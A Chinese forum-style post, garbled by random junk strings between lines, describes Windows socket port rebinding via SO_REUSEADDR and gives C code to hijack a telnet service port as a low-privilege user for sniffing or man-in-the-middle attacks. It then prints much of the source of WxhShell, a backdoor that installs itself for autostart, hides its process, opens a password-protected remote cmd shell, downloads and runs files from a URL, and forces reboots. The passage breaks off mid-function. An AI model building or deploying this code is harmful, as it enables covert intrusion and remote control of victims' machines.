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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~BuBma_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9d/-+j' u*=^>LD saddr.sin_family = AF_INET; u=v-,Tw 9m2FH~ saddr.sin_addr.s_addr = htonl(INADDR_ANY); nM.g8d K .0xk}, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )}N:t:rry YU[#4f~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j_}:=3 #9[> 这意味着什么?意味着可以进行如下的攻击: s6!&4=ZA g3[-[G^5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uQdy j?|Vx' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u4xtlGt5 o jxK8_kl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]nRf%Vi8g |3B<;/v5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :P2!& W l#^?sbG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _p1!8*0] N]/cBGy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;4b=/1M' ;-py h( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sBI/`dGZV xsRkO9x #include >Q@y8*E\F #include YV|_y:- #include Et}%)M #include _)= e`9% DWORD WINAPI ClientThread(LPVOID lpParam); ub>:dNBN int main() )Z/w|5< { /"A=Yf WORD wVersionRequested; $#5'c+0 DWORD ret; EHf,VIC8 WSADATA wsaData; j96}E/gF BOOL val; NV/paoyx:* SOCKADDR_IN saddr; Gchs$^1`t SOCKADDR_IN scaddr; \Q}Y"oq int err; RZ{O6~VH SOCKET s; u5rvrn ] SOCKET sc; %2I>-0]B int caddsize; )ej1)RU" HANDLE mt; -:=m-3*Tg DWORD tid; !'#
D~ wVersionRequested = MAKEWORD( 2, 2 ); Q wG_- err = WSAStartup( wVersionRequested, &wsaData ); ?nL,Otz if ( err != 0 ) { #Pd__NV"\ printf("error!WSAStartup failed!\n"); p JF
9Z return -1; -U$;\1-- } xWY\,'+Q saddr.sin_family = AF_INET; 4Lk<5Ho d42Y` Wu //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fNx!'{o" O[U`(A: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _\k?uUo&,^ saddr.sin_port = htons(23); ~QUNR?h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q
-$)
H;, { |LLpG37_ printf("error!socket failed!\n"); -"'+#9{h return -1; ZZHQ?p- } (m Yi val = TRUE; -"H$&p~ //SO_REUSEADDR选项就是可以实现端口重绑定的 Ici4y*`M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KfVsnL_ { WY@g=W>+ printf("error!setsockopt failed!\n"); W58?t6!
= return -1; SnUR?k1 } H2[0@|<< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5/U{b5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xuqG)HthRS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^K J#dT }JQy&V% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sb_/FE5e { C`qV+pV ret=GetLastError(); (4q/LuP^d printf("error!bind failed!\n"); s"$K2k;J return -1; i E;F=Rb } Z 369< listen(s,2); 2)$-L'YS while(1) *6u2c%^ { 6Xo "?f caddsize = sizeof(scaddr); PvW4%A@0 //接受连接请求 3]}RjOTU sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wmR~e if(sc!=INVALID_SOCKET) )@Y<
<9'2 { ,1CmB@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "|&3z/AUh if(mt==NULL) 1VG]|6f { UB8n,+R printf("Thread Creat Failed!\n"); m&q0 _nay break; hD?6RVfG } "D4% A!i } rqBoUS4 CloseHandle(mt); :nl,Ac } jHHCJOHB8 closesocket(s); Vz-q7*o$S WSACleanup(); qvWi; return 0; :?ZrD,D } vy={ziJ DWORD WINAPI ClientThread(LPVOID lpParam) x2HISxg {
(igB'S5wf SOCKET ss = (SOCKET)lpParam; xbcmvJrG SOCKET sc; \=|=(kt) unsigned char buf[4096]; >6WZSw/Hq SOCKADDR_IN saddr; >P} XCAU long num; -nUK%a"(D DWORD val; hc0 $mit DWORD ret; (IjM //如果是隐藏端口应用的话,可以在此处加一些判断 N|"kuRN# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 X6w+L?A saddr.sin_family = AF_INET; H)&iFq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HSU?4=Q saddr.sin_port = htons(23); `@,Vbn^_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %yfl-c(u { l(F\5Ys printf("error!socket failed!\n"); Ii/{xVMD return -1; GA[bo)" } rp1+K4]P val = 100; <u#
7K\: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {0/2Hw n { c\ZnGI\| ret = GetLastError(); qJonzFp7 return -1; glROT@ } ?Oy0p8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $II~tO { )xz_}6b] ret = GetLastError(); ~h=iZ/g_^_ return -1; .EjR<UU } vE#8&Zq if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (w(k*b/ { ^Ojg}'.Ygv printf("error!socket connect failed!\n"); t7V7 TL!5' closesocket(sc); '+g[n closesocket(ss); =_@) KWeX$ return -1; Gp)J[8j } -^7
$HD while(1) q*a~9.i@ { k w
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 61gyx6v //如果是嗅探内容的话,可以再此处进行内容分析和记录 B~&}Mv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9^Web~yi# num = recv(ss,buf,4096,0); yUxz,36wZ if(num>0) YvP62c \ send(sc,buf,num,0); Ix@B*Xz:` else if(num==0) LH`2Y,E break; :mf&,? num = recv(sc,buf,4096,0); /<k5"C%z if(num>0) VTyj<6Y send(ss,buf,num,0); .J+F
HG' else if(num==0) $bZ-b1{c C break; {7%HK2=' } b9-3 closesocket(ss); 5e7\tBab closesocket(sc); L=C#E0{i return 0 ; `cN8AcRHP } +$2`"%nBG 5gC>j( D~M R)z_p~ ========================================================== Vw`Q:qo0:b |68/FJZ,5 下边附上一个代码,,WXhSHELL Odh r=Hs !u
.n ========================================================== q6>} +|5 O b #include "stdafx.h" Z ZCm438 '#,C5*` #include <stdio.h> Acd@BL* #include <string.h> hH%fWB2( #include <windows.h> Eelv i5 #include <winsock2.h> m!P<#
|V #include <winsvc.h> .j**>&7L #include <urlmon.h> mh SknyqT }Ujgd2(U #pragma comment (lib, "Ws2_32.lib") pFwJ: #pragma comment (lib, "urlmon.lib") b7T;6\[m 734n1-F?I% #define MAX_USER 100 // 最大客户端连接数 , `EOJ"| #define BUF_SOCK 200 // sock buffer 3MKu! #define KEY_BUFF 255 // 输入 buffer @M'qi=s* Zkqq< #define REBOOT 0 // 重启 (pd~ 2!;C #define SHUTDOWN 1 // 关机 ;#0$iE {Ja (+NQ #define DEF_PORT 5000 // 监听端口 unbIfl= S{f,EBE #define REG_LEN 16 // 注册表键长度 EV w {G< #define SVC_LEN 80 // NT服务名长度 R osU~OK ?.lo[X<,* // 从dll定义API
_Rkvg- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d~h;|Bl[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]+B.=mO_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t imY0fx# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z5Tsu1c w9O!L9 6 // wxhshell配置信息 `<|<1, struct WSCFG { u4m8^fj+T int ws_port; // 监听端口 i?uX'apk char ws_passstr[REG_LEN]; // 口令 HJ0;BD.] int ws_autoins; // 安装标记, 1=yes 0=no r3-<~k- char ws_regname[REG_LEN]; // 注册表键名 `NEi/jB char ws_svcname[REG_LEN]; // 服务名 V`W '] char ws_svcdisp[SVC_LEN]; // 服务显示名 B'`25u_e< char ws_svcdesc[SVC_LEN]; // 服务描述信息 S7#dyAX8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v2p0EOS int ws_downexe; // 下载执行标记, 1=yes 0=no [C<K~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 1,Mm+_)B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {&B_b|g*fW n00J21 }; OJJ [Er1 (c^ {T) // default Wxhshell configuration !cM<&3/ struct WSCFG wscfg={DEF_PORT, )Ho"b "xuhuanlingzhe", 4#]g852 1, 1@h8.ym<" "Wxhshell", HX}B#T "Wxhshell", -zqpjxU: "WxhShell Service", 748:*
(O "Wrsky Windows CmdShell Service", udBIEW,` "Please Input Your Password: ", xa<KF 1, k<+Sj
h$ " http://www.wrsky.com/wxhshell.exe", vq+CW?*" "Wxhshell.exe" oSkQ/5hg. }; ``$$yS~d}; )z18:C3 // 消息定义模块 y"'p#j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5$HG#2"Kb# char *msg_ws_prompt="\n\r? for help\n\r#>"; -$0}rfX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 1r}i[5 char *msg_ws_ext="\n\rExit."; _5~|z$GW char *msg_ws_end="\n\rQuit."; dzAumWoh char *msg_ws_boot="\n\rReboot..."; \/;c^!(< char *msg_ws_poff="\n\rShutdown..."; F8{gJaP x char *msg_ws_down="\n\rSave to "; |)Dm.)/0)
<HN+pi char *msg_ws_err="\n\rErr!"; t&=bW<6 char *msg_ws_ok="\n\rOK!"; HQ"
trV ^L)3O|6c char ExeFile[MAX_PATH]; L8f+uI int nUser = 0; KW[y+c u.# HANDLE handles[MAX_USER]; ecJjE
56P int OsIsNt; .ve_If-Hg ]BbV\# SERVICE_STATUS serviceStatus; .PVYYhrt SERVICE_STATUS_HANDLE hServiceStatusHandle; jdu6P+_8n iQ8{N:58DN // 函数声明 e@0|fB%2 int Install(void); eF.nNu int Uninstall(void); 1+N'cB!y int DownloadFile(char *sURL, SOCKET wsh); R8u8jG(4 int Boot(int flag); xZ;eV76 void HideProc(void); F9K`N8wlu int GetOsVer(void); /}>8|#U3y int Wxhshell(SOCKET wsl); jy5[K. void TalkWithClient(void *cs); GQY"
+xa8] int CmdShell(SOCKET sock); JmK
)Y# A int StartFromService(void); &&P9T/Zks int StartWxhshell(LPSTR lpCmdLine); a6./;OC r/a@ x9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6V1oZ-:} VOID WINAPI NTServiceHandler( DWORD fdwControl ); vnQFq
#iv4L // 数据结构和表定义 %#v$d SERVICE_TABLE_ENTRY DispatchTable[] = JkT!X { $3>Rw/, {wscfg.ws_svcname, NTServiceMain}, hp2E! C ma {NULL, NULL} OF']- }; *qSvSY* $#s5y~z // 自我安装 [|eIax xR, int Install(void) JcmMbd&B { yLfyLyO L char svExeFile[MAX_PATH]; m]MR\E5]By HKEY key; /ZabY strcpy(svExeFile,ExeFile); R--s
u:
l9eTghLi // 如果是win9x系统,修改注册表设为自启动 Tb?X KO, if(!OsIsNt) { ';Nc;9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 27c0wzq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VgYy7\?p RegCloseKey(key); 0R\.G1f% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zzI,iEG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9ETdO,L)f RegCloseKey(key); lg$aRqI29 return 0; i>h3UIx\ } *'aJO}$ } ^i_v\E[QU } uuFQTx)) else { Z'k?lkB2i hkb\GcOj // 如果是NT以上系统,安装为系统服务 AhOBbss]q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $+44US if (schSCManager!=0) @aUNyyVP { ETL7|C" SC_HANDLE schService = CreateService l}^ziY! ( B\rY\ schSCManager, }#e=*8F7 wscfg.ws_svcname, ,{q#U3 wscfg.ws_svcdisp, z-We>KX SERVICE_ALL_ACCESS, Jf7H;ZM< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VM<0_R24z SERVICE_AUTO_START, wn_
>Vi1 SERVICE_ERROR_NORMAL, X4hz\={ svExeFile, ivl %%nY' NULL, wj}LVyV NULL, w]T_%mdk NULL, ?OnL,y| NULL, {N{eOa<HA NULL aDX&j2/ ); i.On{nB"k if (schService!=0) Hc\@{17 { oupWzjo CloseServiceHandle(schService); a6z0p%sIZ CloseServiceHandle(schSCManager); pwHe&7e# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZyNgG9JL] strcat(svExeFile,wscfg.ws_svcname); x{w|Hy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ucy=I$" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o ?05bv RegCloseKey(key); ]-#/wC[$l= return 0; \^y~w~g? } R>:D&$[RD } 6
.?0
{2s CloseServiceHandle(schSCManager); [vb#W!M&| } Z7y% } ;t9_*)[
R7z @y o return 1; ^2rj);{V } Ei]SksV>* 8o,0='U // 自我卸载 rBL2A int Uninstall(void) CL5^>.} { `:r-&QdU o HKEY key; GGHeC/4 snkMxc6c[ if(!OsIsNt) { NqKeQezX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X04LAYY_u RegDeleteValue(key,wscfg.ws_regname); $;ny`^8 RegCloseKey(key); *tpS6{4=#7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d<OdQvW. RegDeleteValue(key,wscfg.ws_regname); s-SFu RegCloseKey(key); o\Fv~^ return 0; ZWuNl!l> } oo]P}ra } # 7dvT= } @Bkg< else { j8?! J^TC ^e]O
>CJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nZNS}|6 if (schSCManager!=0) C{l-l`: { UHfE.mTjM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _RzoXn{1e if (schService!=0) 5HbJE' { 4J=6U&b if(DeleteService(schService)!=0) { I}y6ke! CloseServiceHandle(schService); 9w&CHg7D
i CloseServiceHandle(schSCManager); }NV<k return 0; Jz&dC } Um`KmM3 CloseServiceHandle(schService); t^6ams$ } (<OmYnm CloseServiceHandle(schSCManager); SZtSUt(ss } !](Mt?e } _E-{*,7bZS K!>3`[:I" return 1; U/v)6:j)4R } 1UrkDz?X i8EKzW // 从指定url下载文件 /K+;HAUTn int DownloadFile(char *sURL, SOCKET wsh) MD4mh2 { 4RQ38%> >j HRESULT hr; vu*{+YpH char seps[]= "/"; MScUrW!TA char *token; T{#=A$vu char *file; xTcY& char myURL[MAX_PATH]; wt_ae|hv char myFILE[MAX_PATH]; O7&OCo|b%> n*|8(fD strcpy(myURL,sURL); s1%2({wP token=strtok(myURL,seps); !HXsxNe while(token!=NULL) ^ 6t"A { `q\v~FT file=token; EW)r/Av:, token=strtok(NULL,seps); NY[48H } dj 6Lf ecp0 hG`% GetCurrentDirectory(MAX_PATH,myFILE); q7rX4-G$ strcat(myFILE, "\\"); lKRp9isn^ strcat(myFILE, file); fv>Jn` send(wsh,myFILE,strlen(myFILE),0); aH500 send(wsh,"...",3,0); A>:31C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M&/e*Ta5 if(hr==S_OK) to\$'2F"q return 0; ]<fZW"W<q else !) d return 1; 1_n5: ,zBc-Cm } ZU9Rvtb KB Y$3liDeL= // 系统电源模块 $@dPIq4o;} int Boot(int flag) H[r6 4~Sth { CTX%~1_`O HANDLE hToken; MY&?*pV) TOKEN_PRIVILEGES tkp; z-S8s2.Fd !<>`G0 if(OsIsNt) { t 9.iWIr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?3iN)*Ut LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W5RZsS] tkp.PrivilegeCount = 1; F@X8a/;F- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wmX * n'l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dSzq}w4xY if(flag==REBOOT) { D4+OWbf6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QVR-`d/ return 0; mgEZiAV ? } |Gb~[6u else { 8 A #\V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bq\WG=Fd return 0; d8f S79 } 4+0:(=>[% } !=+hU/e else { z#olKBs if(flag==REBOOT) { ,<CzS,( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :UsNiR=l return 0; \,b_8^ } ^eqq|(<K else { Z9PG7h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9'\*Ip^ return 0; eN
I6V/\` } 2`h } ,tOc+3Qz$ p\,PY return 1; Ob7F39):N } =)XC"kUp {UEZ:a // win9x进程隐藏模块 qr7_3 void HideProc(void) l'(7p`? { QPwUW '[Ch8Yf\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6rzXM`cs if ( hKernel != NULL ) Sc$]ar]S { x-s]3'!L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 25`6V>\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'd=B{7k@ FreeLibrary(hKernel); =wX(a } D&#ph%U,P &]H Y: return; 1C\[n(9 } pD%Pg5p` c27A)`
// 获取操作系统版本 rQPV@J]: int GetOsVer(void) C)`y<O { Ny)!uqul* OSVERSIONINFO winfo; veh?oJi@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2q.J1:lW GetVersionEx(&winfo); 8;]U:tv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '\.fG\xD return 1; P_ x9:3 else ^<O=<tN\ return 0; pElAY3 } 3]1uDgfr BliL1"". // 客户端句柄模块 ril4*$e7^\ int Wxhshell(SOCKET wsl) aI:G(C?jm { +\n8##oAI SOCKET wsh; IH1
fvW
e struct sockaddr_in client; fPW(hb; DWORD myID; #^fDKM \d#|n u while(nUser<MAX_USER) B'Ll\<mq@ { c>%+y+b{ int nSize=sizeof(client); @NS= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VUaYK if(wsh==INVALID_SOCKET) return 1; \-B8`ah Una7O] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jNa'l<dn] if(handles[nUser]==0) y9OxPq.Cy closesocket(wsh); Td !7Rx
_ else hI{M?LQd nUser++; 6Tn.56 X } ErNL^Se1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z&!5'_9{V 2Po e-= return 0; rmOcA } |lOH
P A Z2,[-8,Kx // 关闭 socket b]Xc5Dp{ void CloseIt(SOCKET wsh) 1\_S1ZS { 11s*C # closesocket(wsh); |Y6+Y{|\ nUser--; ivKhzU+ ExitThread(0); -_@3!X1~i+ } V~>
x\ O]SjShp // 客户端请求句柄 <TL!iM void TalkWithClient(void *cs) qMrBTq[ { mBC?Pg %,G&By&, SOCKET wsh=(SOCKET)cs; k/&~8l.$ char pwd[SVC_LEN]; y()7m/ char cmd[KEY_BUFF]; 1d4?+[)gUv char chr[1]; o+o'!) int i,j; `J%iFm/5* c 5&
_'& while (nUser < MAX_USER) { tiI:yq0 s3sAw~++ if(wscfg.ws_passstr) { J_]B,'
6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >8$]g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dVh* a //ZeroMemory(pwd,KEY_BUFF); =@F1J7 i=0; Gm0&y while(i<SVC_LEN) { bi y1!r %z}{jqD&:X // 设置超时 D\}A{I92F4 fd_set FdRead; U8+5{,$\. struct timeval TimeOut; UQmdm$. FD_ZERO(&FdRead); .""?k[f5Q FD_SET(wsh,&FdRead); Bg"KNg TimeOut.tv_sec=8; uTgvMkO TimeOut.tv_usec=0; {s8v0~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /0PBY-O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \>b
: j:)"s_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JVPl\I pwd =chr[0]; hmfO\gc}y if(chr[0]==0xd || chr[0]==0xa) { @+OX1-dd/w pwd=0;
){u/v[O9" break; z+RA } q2o`.f+I i++; v1s.j2T } 5%+M:B
v{/z`J!JR // 如果是非法用户,关闭 socket f@3?kM( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tVB9kxtE } yfq Vx$YL 1{TmK9U send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?<YQ
%qaW7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >l<`)4*H l[Hgh, while(1) { m&o6j>C 0X.(BRI~6p ZeroMemory(cmd,KEY_BUFF); (!^i6z0Sp ?X'm>R. @ // 自动支持客户端 telnet标准 !^~
^D< j=0; rb"J{^ while(j<KEY_BUFF) { TuF;>{~} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (n4\$LdP- cmd[j]=chr[0]; nY]5pOF: if(chr[0]==0xa || chr[0]==0xd) { ?Xdb%. cmd[j]=0; #qx$ p break; }0Q_yuzx0m } DZ-2Z@{PX j++; _h?hFs,N] } reBAxmt UDBMf2F] // 下载文件 } D'pyTf[ if(strstr(cmd,"http://")) { G1RUu-~+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); v[++"=<
o8 if(DownloadFile(cmd,wsh)) .paKV"LJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); RgB5'$x} else ECZ`I Z. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y\?T%g }
U]o else { -a=RCzX] e7n[NVrX switch(cmd[0]) { !HV<2q() f ye=8
r // 帮助
W 'w{}| case '?': { ,Y)7M3I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -:$#koW break; &U.U< } 5$58z // 安装 ]!um}8!} case 'i': {
z(YzK if(Install()) Oq`CK f send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;2k!KW@ else [C>>j;q% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H(A9YxXrZ5 break; fk6`DUBV } ~; V5*t // 卸载 V*Q!J{lj^# case 'r': { q6]T;)U& if(Uninstall()) d-rqZn} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;h7W(NO~z else }zO>y%eI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *!m\%*y{ break; }wIF$v?M } [C0"vOTUb // 显示 wxhshell 所在路径 PxvD0GTW case 'p': { +jPJv[W char svExeFile[MAX_PATH]; x+Ws lN2a strcpy(svExeFile,"\n\r"); J4woZ{d strcat(svExeFile,ExeFile); _k|k$qxE send(wsh,svExeFile,strlen(svExeFile),0); Jv8JCu"eky break; @'>Ul!.] } 9OS~;9YR // 重启 |uIgZ|7[ case 'b': { o..iT:f;n send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EK%J%NY if(Boot(REBOOT)) JeXA*U# send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1_B;r9x else { kM;}$*? closesocket(wsh); =mp"=% ExitThread(0); r .`&z } U>-GM> break; N|3a(mtiZ' } _g]h \3 // 关机 wqasI@vyu case 'd': { o]<@E u G send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ww5UQs2sn if(Boot(SHUTDOWN)) $fhR1A send(wsh,msg_ws_err,strlen(msg_ws_err),0); NtDxwzj else { e`eh;@9p closesocket(wsh); ZWb\^N ExitThread(0); Swxur+hfH } S] R.:T_% break;
(RBB0CE } hcT5> w[ // 获取shell NcyE_T case 's': { (Rs|"];?Z CmdShell(wsh); jV.9d@EC closesocket(wsh); Ru~;awV? ExitThread(0); .)|2^ 'W break; qir8RPW } @M)" // 退出 p_EWpSOt7 case 'x': { Q-} cB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U}<' [o
V CloseIt(wsh); 9!,f4&G` break; FfM,~s<Efz } ``,q[| // 离开 ehV}}1>O case 'q': { /y3Lc.- send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,aU8.
J_U closesocket(wsh); Kwo0%2Onkd WSACleanup(); m~`f0 exit(1); 5gZ* break; 2rrC y C } C[[:/X(c } RwoAZ]Zg] } -cB>; f)5r /&o<kY // 提示信息 2SXy)m
! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F
@uOXNz) } ,H@ x. } )rbcY0q ,h},jkY4 return; [-hsG E } y:VY8a 4 ,L;%-}#$ // shell模块句柄 D%h_V>#z int CmdShell(SOCKET sock) J8@7
5p9 { >_u5"&q STARTUPINFO si; .tzQ
hd> ZeroMemory(&si,sizeof(si)); q j*77 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iz:O]kI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >]/aG! PROCESS_INFORMATION ProcessInfo; N3&n"w _d char cmdline[]="cmd"; f"d4HZD^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g*$yUt return 0; O/lu0acI } wiM-TFT~ tybM3VA // 自身启动模式 VR vX^w0 int StartFromService(void) fK5iOj'Q { m8z414o typedef struct %VGQ{: { Z]k+dJ[- DWORD ExitStatus; r=ht:+m DWORD PebBaseAddress; 0T<DHPQ1 DWORD AffinityMask; `E5vO1Pl DWORD BasePriority; )B5(V5-!| ULONG UniqueProcessId; ~.<}/GP] _ ULONG InheritedFromUniqueProcessId; |&\cr\T\r } PROCESS_BASIC_INFORMATION; G-G\l?R( J85Kgd1
\a PROCNTQSIP NtQueryInformationProcess; (d}z>?L RRJN@|" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @EGUQ|WL^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I#GsEhi ~n9- HANDLE hProcess; i`vgD<} PROCESS_BASIC_INFORMATION pbi; %^<A`Q_ XFcIBWS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a+p_47 xa if(NULL == hInst ) return 0; : t6.J few=`%/ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TDjjaO g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KI8Q
